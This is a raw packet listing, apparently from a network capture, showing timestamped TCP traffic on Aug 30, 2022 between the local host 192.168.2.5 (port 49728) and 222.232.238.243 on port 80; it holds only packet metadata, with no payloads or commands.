Aug 30, 2022 15:54:41.913173914 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.913201094 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.913212061 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.913239956 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.913254023 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.913280010 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.913294077 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.913320065 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.913332939 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.913358927 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.913369894 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.913400888 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.913410902 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.913444042 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.913451910 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.913497925 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.913497925 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.913539886 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.913551092 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.913578033 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.913594961 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.913630009 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920202971 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920231104 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920253992 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920279026 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920304060 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920312881 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920326948 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920337915 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920353889 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920353889 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920371056 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920380116 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920404911 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920412064 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920423985 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920430899 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920455933 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920480013 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920495987 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920502901 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920505047 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920531034 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920535088 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920542955 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920557022 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920571089 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920583963 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920588017 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920609951 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920634985 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920656919 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920665979 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920675039 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920681000 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920681953 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920686007 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920706987 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920732975 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920743942 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920749903 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920758009 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920768976 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920783043 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920789003 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920809031 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920833111 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920835018 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920855999 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920860052 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920865059 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920886040 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920897961 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920912027 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920936108 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920954943 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920960903 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.920962095 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920972109 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920977116 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.920988083 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921014071 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.921015024 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921032906 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.921041012 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921066046 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921066046 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.921089888 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921114922 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921122074 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.921139956 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921154022 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.921178102 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921185017 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.921204090 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921221972 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.921231031 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921233892 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.921257973 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921269894 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.921278000 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921298981 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921317101 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921335936 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921354055 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921374083 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921391964 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921411991 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.921430111 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.922880888 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.054912090 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.055084944 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.055099010 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.055201054 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.055231094 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.055279016 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.055325985 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.055381060 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.055562973 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.055628061 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.055663109 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.055759907 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.055793047 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.055847883 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.055893898 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.055944920 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.056034088 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.056087017 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.056127071 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.056188107 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.056226015 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.056282997 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.056324005 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.056390047 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.056413889 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.056483984 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.056487083 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.056562901 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.056566000 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.056623936 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.056690931 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.056725979 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.056766033 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.056819916 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.056827068 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.056864977 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.056869030 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.056871891 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.056874037 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.056931019 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.056936026 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.056972980 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057013988 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.057035923 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057077885 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.057096004 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057104111 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.057147026 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057163000 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.057199955 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057204962 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.057252884 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.057252884 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057307005 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057307959 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.057384014 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057411909 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.057435989 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.057441950 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057492018 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.057495117 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057591915 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057601929 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.057641029 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.057643890 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057693005 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.057696104 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057744980 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.057749987 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057796955 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.057801008 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057848930 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.057852983 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057900906 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.057904005 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057955027 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.057966948 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058000088 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058007002 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058060884 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058060884 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058114052 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058115005 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058165073 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058177948 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058216095 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058254004 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058270931 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058274984 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058315992 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058324099 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058372974 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058376074 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058424950 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058428049 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058475971 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058480024 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058526993 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058531046 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058577061 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058584929 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058630943 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058636904 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058681965 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058687925 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058739901 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058742046 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058787107 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058793068 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058841944 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058845997 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058892965 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058896065 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058943987 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.058949947 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.058996916 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.059001923 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.059051037 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.059056044 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.059106112 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.059108019 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.059154987 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.059160948 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.059207916 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.059215069 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.059267998 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.059310913 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.059314966 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.059318066 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.059401035 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.059432983 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.059453964 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.059456110 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.059505939 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.059506893 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.059554100 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.059571981 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.059597969 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.071146011 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.071187973 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.071238995 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.071274996 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.071377039 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.071423054 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.071429968 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.205874920 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.205940008 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.205981970 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206026077 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206072092 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.206123114 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206166029 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206166983 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.206177950 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.206181049 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.206206083 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206247091 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206286907 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.206289053 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206295967 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.206301928 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.206330061 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206372023 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206382036 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.206429958 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206487894 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206547022 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206602097 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206645012 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206686974 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206708908 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.206727982 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206767082 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206787109 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.206806898 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206830025 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.206849098 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206873894 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.206890106 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206933022 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.206947088 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.206973076 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207014084 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207027912 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.207058907 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207098961 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207139015 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207144022 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.207180023 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207210064 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.207221985 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207254887 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207284927 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207315922 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207389116 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.207390070 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207429886 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207465887 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.207469940 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207509995 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207530022 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.207550049 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207592010 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207609892 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.207631111 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207669973 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207688093 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.207710028 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207748890 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207767010 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.207789898 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207829952 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207845926 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.207875967 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207917929 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207931995 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.207957029 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.207998037 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208031893 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.208040953 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208085060 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208107948 CEST	49728	80	192.168.2.5	222.232.238.243
